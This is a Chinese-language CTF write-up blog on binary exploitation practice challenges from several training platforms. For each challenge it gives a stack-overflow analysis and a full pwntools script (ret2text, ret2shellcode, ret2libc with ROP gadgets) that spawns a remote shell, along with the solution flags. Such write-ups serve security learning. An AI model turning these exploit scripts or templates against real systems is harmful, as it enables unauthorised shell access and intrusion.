前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Pwn菜鸡刷题记录 从入门到入土(持续更新ing)

Pwn菜鸡刷题记录 从入门到入土(持续更新ing)

作者头像
喜欢ctrl的cxk
发布2021-12-06 14:25:13
1.4K0
发布2021-12-06 14:25:13
举报
文章被收录于专栏:Don的成长史Don的成长史

GitHub抢先更新:GitHub - Don2025/CTFwriteUp: The growth record of CTF rookie.The growth record of CTF rookie. Contribute to Don2025/CTFwriteUp development by creating an account on GitHub.

https://github.com/Don2025/CTFwriteUp

目录

CTFHub

ret2text

ret2shellcode

BUUCTF

test_your_nc

rip

warmup_csaw_2016

ciscn_2019_n_1

pwn1_sctf_2016

jarvisoj_level0

ADWorld

get_shell

hello_pwn

level0

level2

CTFShow

pwn02

pwn05

pwn06

ret2text

pwn03

pwn07

CTFHub

ret2text

file ./ret2text查看文件类型再checksec --file=./ret2text检查一下文件保护情况。

IDA Pro 64bit打开附件ret2text,按F5反汇编源码并查看主函数,发现gets()函数读取输入到变量v4中,v4的长度只有0x70,即可用栈大小只有112字节,但是gets()函数并没有限制输入,显然存在栈溢出漏洞。

双击v4变量查看其在内存中的虚拟地址信息,构造payload时可以先用0x70个字节占满s变量,然后再加上r8个字节。

Function Window中注意到有一个名为secure()的函数,函数中当scanf()输入的v2变量和rand()函数生成的v3变量值相等时,会发生系统调用,因此构造payload时需要再加上system('/bin/sh')函数的地址即可。

编写Python代码即可得到ctfhub{f878895b3600b2e2192e5c9a}

代码语言:javascript
复制
from pwn import *
​
io = remote('challenge-e20ddfc12b209019.sandbox.ctfhub.com', 34749)
payload = b'a'*0x70 + b'fuckpwn!' + p64(0x4007B8)
io.sendlineafter('Welcome to CTFHub ret2text.Input someting:\n', payload)
io.interactive()

提交ctfhub{f878895b3600b2e2192e5c9a}即可。


ret2shellcode

file ./ret2shellcode查看文件类型再checksec --file=./ret2shellcode检查一下文件保护情况。

IDA Pro 64bit打开附件ret2shellcode,按F5反汇编源码并查看主函数,发现buf变量的地址被printf()函数输出了,然后read()函数读取输入到变量buf中,char型变量buf的长度只有0x10,即可用栈大小只有10字节,但是read()函数限制输入0x400个字节,显然存在栈溢出漏洞。

双击buf变量查看其在内存中的虚拟地址信息,构造payload时可以先用0x10个字节占满s变量,然后再加上r8个字节。

由于checksec时发现NX disabled,即程序没有开NX保护,栈的数据段可以执行。虽然程序中并没有system()函数和/bin/sh,但是buf变量的栈地址被printf()函数泄露出来了,因此可以尝试让程序跳转到我们构造的shellcode中,并在栈溢出后返回到栈的数据段上执行,就能得到shell权限了。

代码语言:javascript
复制
from pwn import *
​
context(os="linux", arch="amd64", log_level='debug')
# io = process('ret2shellcode')
io = remote('challenge-90f37d9c89a2800a.sandbox.ctfhub.com', 33884)
io.recvuntil(b'[')
buf_address = int(io.recvuntil(b']')[:-1].decode('utf-8'), 16)
log.success('buf_address => %s' % hex(buf_address).upper())
shellcode_address = buf_address+0x20 # buf与rbp的距离0x10 + rbp的宽度0x8 + 返回地址的长度0x8
log.success('buf_address => %s' % hex(shellcode_address).upper())
shellcode = asm(shellcraft.sh())
payload = b'a'*0x10 + b'fuckpwn!' + p64(shellcode_address) + shellcode
io.recv()
io.sendline(payload)
io.interactive()

ls可以看到有个flag文件,cat flag拿到ctfhub{f878895b3600b2e2192e5c9a}提交即可。

BUUCTF

test_your_nc

这题亏我还先file ./test查看文件类型再checksec --file=test检查一下文件保护情况。

结果输入以下代码就能拿到flag{24c4fb91-44b7-4a4f-8f30-895875efacd7}

代码语言:javascript
复制
nc node4.buuoj.cn 27841 #使用nc连接node4.buuoj.cn的监听端口27841
ls #这步可以看到当前目录下有个flag文件
cat flag #直接输出flag即可

rip

file ./pwn1查看文件类型再checksec --file=pwn1检查一下文件保护情况。

IDA Pro 64bit打开pwn1后按F5反汇编源码并查看主函数,发现gets()函数读取输入到变量s中,s的长度只有0xf,即可用栈大小只有15字节,但是gets()函数并没有限制输入,显然存在栈溢出漏洞。

Functions window可以看到有一个fun()函数:

F5反汇编可以看到这是一个系统调用,且fun()函数的起始地址为0x401186

编写Python脚本连接node4.buuoj.cn的监听端口28531,并发送payload

代码语言:javascript
复制
from pwn import *
# remote()建立远程连接,指明ip和port
io = remote('node4.buuoj.cn', 28531)
payload = b'a'*(0xf + 0x8) + p64(0x40118A)
io.sendline(payload) #发送数据
io.interactive() #与shell进行交互

shell交互时输入以下命令行即可得到flag{c706d420-68bf-4b75-9468-97997d4817b6}

代码语言:javascript
复制
ls #这步可以看到当前目录下有个flag文件
cat flag #直接输出flag即可

warmup_csaw_2016

file ./warmup_csaw_2016查看文件类型再checksec --file=warmup_csaw_2016检查一下文件保护情况。

IDA Pro 64bit打开warmup_csaw_2016后按F5反汇编源码并查看主函数,发现gets()函数读取输入到变量v5中,v5的长度只有0x40,即可用栈大小只有64字节,但是gets()函数并没有限制输入,显然存在栈溢出漏洞。

Functions window可以看到有一个sub_40060D()函数,按F5反汇编可以看到这是一个系统调用,且sub_40060D()函数的起始地址为0x40060D

编写Python脚本连接node4.buuoj.cn的监听端口25282,发送payload即可得到flag{31eb59d1-1c21-4440-96a5-b12276f75a41}

代码语言:javascript
复制
from pwn import *
​
io = remote('node4.buuoj.cn', 25282)
payload = b'a'*(0x40 + 0x8) + p64(0x40060D)
io.sendline(payload)
io.interactive()

ciscn_2019_n_1

file ./ciscn_2019_n_1查看文件类型再checksec --file=ciscn_2019_n_1检查一下文件保护情况。

IDA Pro 64bit打开ciscn_2019_n_1后按F5反汇编源码并查看主函数,发现fun()函数最可疑。

双击func()函数查看源码可以看到当v2 = 11.28125时会有一个系统调用。

查看汇编代码双击cs:dword_4007F4可以看到11.28125在内存中的16进制表示为0x41348000

查看栈结构,此处var_30v1,而var_4v2,需要(0x30-0x04)=44个字节就能让栈溢出,最后再填入11.28125对应的十六进制数0x41348000

编写Python脚本连接node4.buuoj.cn的监听端口25860,发送payload即可得到flag{42086316-01d7-47ee-bfaa-00861bbe8222}

代码语言:javascript
复制
from pwn import *
​
io = remote('node4.buuoj.cn', 25860)
payload = b'a'*(0x30 - 0x4) + p64(0x41348000)
io.sendline(payload)
io.interactive()

pwn1_sctf_2016

file ./pwn1_sctf_2016查看文件类型再checksec --file=pwn1_sctf_2016检查一下文件保护情况。

IDA Pro 32bit打开pwn1_sctf_2016后按F5反汇编源码并查看主函数,发现vuln()函数。

双击vuln()函数查看源码,分析后发现fgets()函数限制输入32个字节到变量s中,乍一看并没有超出可用栈大小。

再按一次F5后发现第19行的replace()函数会把输入的I替换成you,1个字符变成3个字符。 并且在第27行会对原来的s变量重新赋值。

Functions window可以看到有一个get_flag()函数,按F5反汇编可以看到这是一个系统调用,且get_flag()函数的起始地址为0x8048F0D

查看栈结构发现s的长度为0x3c,即60个字节,而输入被限制在32个字节内,每个I可以被替换成you,所以输入60÷3=20I就能让栈溢出,然后db 4 dup(?) 还需要占用4个字节的内存,最后加上get_flag()函数的起始地址0x8048F0D构成payload

编写Python脚本连接node4.buuoj.cn的监听端口26333,发送payload即可得到flag{efb5872f-b8d0-4892-9ed3-ea71e8a7a983}

代码语言:javascript
复制
from pwn import *
​
io = remote('node4.buuoj.cn', 26333)
e = ELF('pwn1_sctf_2016')
address = e.symbols['get_flag']
log.success('get_flag_address => %s' % hex(address).upper())
payload = b'I'*20 + b'a'*0x4 + p32(address)
# payload = b'I'*20 + b'a'*0x4 + p32(0x8048F0D)
io.sendline(payload)
io.interactive()

jarvisoj_level0

file ./level0查看文件类型再checksec --file=level0检查一下文件保护情况。

IDA Pro 64bit打开level0后按F5反汇编源码并查看主函数,发现问题的关键在于vulnerable_function()函数。

双击vulnerable_function()函数可以看到buf的长度只有0x80,即可用栈大小只有108字节,但是read()并没有限制输入,显然存在栈溢出漏洞。

Functions window可以看到有一个callsystem()函数,按F5反汇编可以看到这是一个系统调用,且callsystem()函数的起始地址为0x400596

编写Python脚本连接node4.buuoj.cn的监听端口25719buf需覆盖0x80个字节覆盖,再加上rbp0x8个字节,最后加上callsystem()函数的起始地址0x400596构成payload

代码语言:javascript
复制
from pwn import *
​
io = remote('node4.buuoj.cn', 25719)
e = ELF('level0')
address = e.symbols['callsystem']
log.success('callsystem_address => {}'.format(hex(address).upper()))
payload = b'a'*(0x80 + 0x8) + p64(address)
# payload = b'a'*(0x80 + 0x8) + p64(0x400596)
io.sendline(payload)
io.interactive()

发送payload监听成功后ls查看文件目录再cat flag即可得到flag{af006b52-6eb0-4df4-9706-dcbb4dc8cff2}

ADWorld

get_shell

file ./get_shell查看文件类型再checksec --file=get_shell检查一下文件保护情况。nc进去ls后发现可以直接cat flag,从而得到cyberpeace{307531652bd497aefcfef07598c97cd3}

提交flag后,我还是决定用IDA Pro 64bit打开附件get_shell来分析一下,发现该程序输出字符串后直接给定了一个系统调用。

可以按F5反汇编源码并查看主函数。

编写Python代码拿到cyberpeace{307531652bd497aefcfef07598c97cd3}

代码语言:javascript
复制
from pwn import *
​
io = remote('111.200.241.244', 59901)
io.interactive()

hello_pwn

file ./hello_pwn查看文件类型再checksec --file=hello_pwn检查一下文件保护情况。

IDA Pro 64bit打开附件hello_pwn,按F5反汇编源码并查看主函数,发现read()函数很可疑,双击unk_601068变量查看其在内存中的地址情况。

发现unk_601068变量和dword_60106C的偏移量为0x4,这个数值小于read()函数的范围限制。

dword_60106C的数值等于1853186401时会调用子函数sub_400686(),查看详情发现该子函数是系统调用cat flag.txt

构造payload时先用4个字节占满unk_601068变量,再用p64()函数将dword_60106C的数值赋值为1853186401,编写Python代码即可得到cyberpeace{285b4e962d0debee56c43f8f174f2e22}

level0

file ./level0查看文件类型再checksec --file=level0一下文件保护情况。

IDA Pro 64bit打开附件level0,按F5反汇编源码并查看主函数,发现vulnerable()函数很可疑。

双击vulnerable()函数查看详情,发现该函数中有个局部变量bufchar型数组,buf的长度只有0x80,即可用栈大小只有128字节,但是read()函数中buf变量从标准控制台读入了0x200个字节,显然存在栈溢出漏洞。

双击buf变量查看其在内存中的虚拟地址信息,构造payload时可以先用0x80个字节占满buf变量,然后再加上r8个字节。

Function Window中注意到有一个名为callsystem()的函数,函数返回值直接是系统调用,因此构造payload时需要再加上这个callsystem()函数的起始地址0x400596即可。

编写Python代码即可得到cyberpeace{abcdc2f34ed094260c9ef32f07e7465b}

代码语言:javascript
复制
from pwn import *

io = remote('111.200.241.244', 53710)
e = ELF('level0')
address = e.symbols['callsystem']
log.success('callsystem_address => %s' % hex(address).upper())
payload = b'a'*(0x80) + b'fuckpwn!' + p64(address)
# payload = b'a'*(0x80) + b'fuckpwn!' + p64(0x400596)
io.sendline(payload)
io.interactive()

level2

file ./level2查看文件类型再checksec --file=level2检查了一下文件保护情况。

IDA Pro 32bit打开附件level2,按F5反汇编源码并查看主函数,发现vulnerable_function()函数很可疑。

双击vulnerable_function()函数查看详情,发现该函数中有个局部变量bufchar型数组,buf的长度只有0x88,即可用栈大小只有136字节,但是read()函数中buf变量从标准控制台读入了0x100个字节,显然存在栈溢出漏洞。

双击buf变量查看其在内存中的虚拟地址信息,构造payload时可以先用0x88个字节占满buf变量,然后再加上r4个字节。

双击system()函数查看详情,函数返回值直接是系统调用,因此构造payload时需要再加上system()函数的起始地址0x8048320

p32()可以让我们将整数转换为4字节的小端序格式,system()函数的参数command要求dword ptr 4,所以进入到system()函数后,还需要构造system()函数的栈帧,我们可以用0xDEADBEEF来填充已分配但还未初始化的内存,也可以用p32(0)来填充四个字节。

最后再加上system()函数中的参数/bin/sh的地址即可获得shell。这里用了ELF中的search()函数来获取/bin/sh的地址。

编写Python代码即可得到cyberpeace{5f581b52af1ababeb4636a8c9911e25d}

代码语言:javascript
复制
from pwn import *

io = remote('111.200.241.244', 53598)
e = ELF('level2')
system_address = e.symbols['system']
log.success('system_address => %s' % hex(system_address).upper())
bin_sh_address = e.search(b'/bin/sh').__next__()
log.success('bin_sh_address => %s' % hex(bin_sh_address).upper())
payload = b'a'*0x88 + b'fuck' + p32(system_address) + p32(0xDEADBEEF) + p32(bin_sh_address)
# payload = b'a'*0x88 + b'fuck' + p32(0x8048320) + p32(0) + p32(0x804A024)
io.sendlineafter(b'Input:\n', payload)
io.interactive()

CTFShow

pwn02

file ./stack查看文件类型再checksec --file=stack检查一下文件保护情况。

IDA Pro 32bit打开附件stack,按F5反汇编源码并查看主函数,发现pwnme()函数很可疑。

双击pwnme()函数可以看到该函数中有个局部变量schar型数组,s的长度只有0x9,即可用栈大小只有9字节,但是fgets()函数限制输入50个字节,显然存在栈溢出漏洞。

双击s变量查看其在内存中的虚拟地址信息,构造payload时可以先用9个字节占满s变量,然后再加上r4个字节。

Function Window中注意到有一个名为stack()的函数,函数返回值直接是系统调用,因此构造payload时需要再加上这个stack()函数的起始地址即可。

编写Python代码即可得到ctfshow{62a18b45-a931-4c43-9a7a-21726633f01e}

pwn05

file ./pwn05查看文件类型再checksec --file=pwn05检查一下文件保护情况。

IDA Pro 32bit打开附件pwn05,按F5反汇编源码并查看主函数,发现welcome()函数很可疑。

双击进入welcome()函数,可以看到该函数中有个局部变量schar型数组,s的长度只有0x14,但是gets()函数并没有限制输入,显然存在栈溢出漏洞。

双击s变量查看其在内存中的虚拟地址信息,构造payload时可以先用0x14个字节占满s变量,然后再加上r4个字节。

Function Window中注意到有一个名为getFlag()的函数,函数返回值直接是系统调用,因此构造payload时需要再加上这个getFlag()函数的起始地址即可。

编写Python代码即可得到ctfshow{ea894e9a-2450-417a-92f3-7ff289ce115e}

代码语言:javascript
复制
from pwn import *

io = remote('pwn.challenge.ctf.show', 28182)
e = ELF('pwn05')
address = e.symbols['getFlag']
log.success('getFlag_address => %s' % hex(address).upper())
payload = b'a'*(0x14 + 0x4) + p32(address)
# payload = b'a'*(0x14 + 0x4) + p32(0x8048486)
io.sendline(payload)
io.interactive()

pwn06

file ./pwn06查看文件类型和checksec --file=pwn06检查一下文件保护情况。

IDA Pro 64bit打开附件pwn06,按F5反汇编源码并查看主函数,发现welcome()函数很可疑。

双击进入welcome()函数,可以看到该函数中有个局部变量schar型数组,s的长度只有0xc,但是gets()函数并没有限制输入,显然存在栈溢出漏洞。

双击s变量查看其在内存中的虚拟地址信息,构造payload时可以先用0x14个字节占满s变量,然后再加上r8个字节。

需要注意的是这题pwn06就是上一题pwn0564位版本,所以需要加上welcome()函数的起始地址来平衡堆栈。

Function Window中注意到有一个名为getFlag()的函数,函数返回值直接是系统调用,因此构造payload时需要再加上这个getFlag()函数的起始地址即可。

编写Python代码即可得到ctfshow{384e6120-ef80-45f0-afe9-f64929450397}

代码语言:javascript
复制
from pwn import *

io = remote('pwn.challenge.ctf.show', 28194)
e = ELF('pwn06')
welcome_address = e.symbols['welcome']
log.success('welcome_address => %s' % hex(welcome_address).upper())
getFlag_address = e.symbols['getFlag']
log.success('getFlag_address => %s' % hex(getFlag_address).upper())
payload = b'a'*0xc + b'fuckpwn!' + p64(welcome_address) + p64(getFlag_address)
# payload = b'a'*0xc + b'fuckpwn!' + p64(0x40058F) + p64(0x400577)
io.sendline(payload)
io.interactive()

ret2text

file ./ret2text查看文件类型再checksec --file=ret2text检查了一下文件保护情况。

IDA Pro 64bit打开附件ret2text,按F5反汇编源码并查看主函数,发现welcome()函数很可疑。

双击welcome()函数查看详情,发现该函数中有个局部变量schar型数组,s的长度只有0x80,即可用栈大小只有128字节,但是gets()函数读取输入到变量s时并没有限制输入,显然存在栈溢出漏洞。

Function Window中注意到有一个名为ctfshow()的函数,函数返回值直接是系统调用system('/bin/sh')

构造payload时可以先用0x80个字节占满s变量,再加上rbp8个字节,然后加上ctfshow()函数的起始地址即可。然而我第一次编写的Python代码直接超时啦timeout: the monitored command dumped core

代码语言:javascript
复制
from pwn import *

context(os="linux", arch="amd64", log_level='debug')
# io = process('ret2text')
io = remote('pwn.challenge.ctf.show', 28067)
e = ELF('ret2text')
ctfshow_address = e.symbols['ctfshow']
log.success('ctfshow_address => %s' % hex(ctfshow_address).upper())
payload = b'a'*0x80 + b'fuckpwn!' + p64(ctfshow_address)
# payload = b'a'*0x80 + b'fuckpwn!' + p64(0x400637)
io.sendline(payload)
io.interactive()

payload就不要加上ctfshow()函数的起始地址了,直接添加系统调用system('/bin/sh')的地址0x40063B

编写Python代码即可得到ctfshow{19efd671-89fa-4f27-8898-aaedfea5bb2c}

代码语言:javascript
复制
from pwn import *

io = remote('pwn.challenge.ctf.show', 28067)
payload = b'a'*0x80 + b'fuckpwn!' + p64(0x40063B)
io.sendline(payload)
io.interactive()

pwn03

file ./pwn03查看文件类型再checksec --file=pwn03检查了一下文件保护情况。

IDA Pro 32bit打开附件pwn03,按F5反汇编源码并查看主函数,发现pwnme()函数很可疑。

双击pwnme()函数查看详情,发现该函数中有个局部变量schar型数组,s的长度只有0x9,即可用栈大小只有9字节,但是fgets()函数读取输入到变量s时限制输入100个字节,显然存在栈溢出漏洞。

双击s变量查看其在内存中的虚拟地址信息,构造payload时可以先用0x9个字节占满s变量,然后再加上r4个字节。

Function Window中并没有找到system()函数和'/bin/sh'字符串,但是主函数中有puts()函数啊!程序执行前,got表中存放的还是plt表的地址,但是程序执行后,plt表中存放的是got表的地址,got表中存放的是函数的真实地址。因此我们可以用ELF来获取puts()函数的plt表和got表地址,进行栈溢出并通过puts()函数泄露puts()函数在got表中的真实地址后,进而判断libc的版本,然后我们可以根据libc版本中puts()函数的偏移地址来计算出libc的基址地址,再根据libc中的system()函数和'/bin/sh'字符串的偏移地址来算出函数的真实地址,从而构造shellcode拿到flag

编写Python代码即可得到ctfshow{c7611c91-203e-47de-ac92-e0f850aa9135}

代码语言:javascript
复制
from pwn import *
from LibcSearcher import *

context(arch='i386', os='linux', log_level='debug')
# io = process('pwn03')
io = remote('pwn.challenge.ctf.show', 28067)
e = ELF('pwn03')
puts_plt = e.plt['puts']
log.success('puts_plt => %s' % hex(puts_plt))
puts_got = e.got['puts']
log.success('puts_got => %s' % hex(puts_got))
main_address = e.symbols['main']
log.success('main_address => %s' % hex(main_address))
# 先让栈溢出,再利用puts函数的plt表地址来泄露puts函数got表中的真实地址
payload = b'a'*0x9 + b'fuck' + p32(puts_plt) + p32(main_address) + p32(puts_got)
io.sendline(payload)
io.recvuntil('\n\n')
puts_address = u32(io.recv(4)) # 接收4个字节并解包
log.success('puts_address => %s' % hex(puts_address))
libc = LibcSearcher('puts', puts_address) # 获取libc版本,libc6-i386_2.27-3ubuntu1_amd64
libcbase = puts_address - libc.dump('puts')  # libc的基址=puts()函数地址-puts()函数偏移地址(0x67360)
log.success('libcbase_address => %s' % hex(libcbase))
system_address = libcbase + libc.dump('system') # system()函数的地址=libc的基址+system()函数偏移地址(0x03cd10)
log.success('system_address => %s' % hex(system_address))
bin_sh_address = libcbase + libc.dump('str_bin_sh') # '/bin/sh'的地址=libc的基址+'/bin/sh'偏移地址(0x17b8cf)
log.success('bin_sh_address => %s' % hex(bin_sh_address))
payload = b'a'*0x9 + b'fuck' + p32(system_address) + p32(0xdeadbeef) + p32(bin_sh_address)
io.sendline(payload)
io.interactive()

pwn07

file ./pwn07查看文件类型再checksec --file=pwn07检查了一下文件保护情况。

IDA Pro 64bit打开附件pwn07,按F5反汇编源码并查看主函数,发现welcome()函数很可疑。

双击welcome()函数查看详情,发现该函数中有个局部变量schar型数组,s的长度只有0xc,即可用栈大小只有12字节,但是gets()函数读取输入到变量s时并没有限制输入,显然存在栈溢出漏洞。

双击s变量查看其在内存中的虚拟地址信息,构造payload时可以先用0xc个字节占满s变量,然后再加上r4个字节。

有没有发现这题pwn07和上面的pwn03很像?没错,这简直就是pwn0364位版本,不过在64位程序中,函数的前6个参数是通过寄存器传递的,分别是rdi, rsi, rdx, rcx, r8, r9(当参数小于7时),所以我们需要用ROPgadget找到pop_rdipop_ret的地址。

代码语言:javascript
复制
ROPgadget --binary ./pwn07 --only "pop|ret"

解题思路都是:在Function Window中并没有找到system()函数和'/bin/sh'字符串,但是主函数中有puts()函数啊!程序执行前,got表中存放的还是plt表的地址,但是程序执行后,plt表中存放的是got表的地址,got表中存放的是函数的真实地址。因此我们可以用ELF来获取puts()函数的plt表和got表地址,进行栈溢出并通过puts()函数泄露puts()函数在got表中的真实地址后,进而判断libc的版本,然后我们可以根据libc版本中puts()函数的偏移地址来计算出libc的基址地址,再根据libc中的system()函数和'/bin/sh'字符串的偏移地址来算出函数的真实地址,从而构造shellcode拿到flag。这种类型的题还是有一定套路的:

代码语言:javascript
复制
e = ELF('pwn')
# 获取32位版本的got表中的xx函数真实地址,再根据libc中xx函数的偏移地址来算出libc的基址地址
payload = b'a'*offset + p32(e.plt['xx']) + p32(ret_address) + p32(e.got['xx'])
# 根据libc的基址地址和偏移地址算出system()和'/bin/sh'的真实地址后,构造32位版本的shellcode
payload = b'a'*offset + p32(system_address) + p32(0) + p32(bin_sh_address) #p32(0xdeadbeef)或p32(0)或b'a'*4

# 获取64位版本的got表中的xx函数真实地址,再根据libc中xx函数的偏移地址来算出libc的基址地址
payload = b'a'*offset + p64(pop_rdi) + p64(e.got['xx']) + p64(e.plt['xx']) + p64(ret_address)
# 根据libc的基址地址和偏移地址算出system()和'/bin/sh'的真实地址后,构造64位版本的shellcode
payload = b'a'*offset + p64(ret_address) + p64(pop_rdi) + p64(bin_sh_address) + p64(system_address)

编写Python代码即可得到ctfshow{03a97f04-a802-4c2e-a013-b86a120f034f}

代码语言:javascript
复制
from pwn import *
from LibcSearcher import *

context(arch='amd64', os='linux', log_level='debug')
# io = process('pwn07')
io = remote('pwn.challenge.ctf.show', 28199)
e = ELF('pwn07')
puts_plt = e.plt['puts']
log.success('puts_plt => %s' % hex(puts_plt))
puts_got = e.got['puts']
log.success('puts_got => %s' % hex(puts_got))
pop_rdi = 0x4006e3 # ROPgadget --binary ./pwn07 --only "pop|ret"
main_address = e.symbols['main']
log.success('main_address => %s' % hex(main_address))
payload = b'a'*0xc + b'fuckpwn!' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_address)
io.sendline(payload)
io.recvline()
puts_address = io.recv().strip(b'\n')
log.success('io.recv().strip(b\\n\') => %s', puts_address)
puts_address = u64(puts_address.ljust(8, b'\x00'))  # 地址只有6bytes, 补到8位才能unpack
log.success('puts_address => %s' % hex(puts_address))
libc = LibcSearcher('puts', puts_address) # 获取libc版本, libc6_2.31-8_amd64
libcbase = puts_address - libc.dump('puts') # libc的基址=puts()函数地址-puts()函数偏移地址
log.success('libcbase_address => %s' % hex(libcbase))
system_address = libcbase + libc.dump('system')
log.success('system_address => %s' % hex(system_address)) # system()函数的地址=libc的基址+system()函数偏移地址
bin_sh_address = libcbase + libc.dump('str_bin_sh') # '/bin/sh'的地址=libc的基址+'/bin/sh'偏移地址
log.success('bin_sh_address => %s' % hex(bin_sh_address))
pop_ret = 0x4004c6 # ROPgadget --binary ./pwn07 --only "pop|ret"
payload = b'a'*0xc + b'fuckpwn!' + p64(pop_ret) + p64(pop_rdi) + p64(bin_sh_address) + p64(system_address)
io.sendline(payload)
io.interactive()
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2021-10-15 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • GitHub抢先更新:GitHub - Don2025/CTFwriteUp: The growth record of CTF rookie.The growth record of CTF rookie. Contribute to Don2025/CTFwriteUp development by creating an account on GitHub.
  • CTFHub
    • ret2text
      • ret2shellcode
      • BUUCTF
        • test_your_nc
          • rip
            • warmup_csaw_2016
              • ciscn_2019_n_1
                • pwn1_sctf_2016
                  • jarvisoj_level0
                  • ADWorld
                    • get_shell
                      • hello_pwn
                        • level0
                          • level2
                          • CTFShow
                            • pwn02
                              • pwn05
                                • pwn06
                                  • ret2text
                                    • pwn03
                                      • pwn07
                                      领券
                                      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档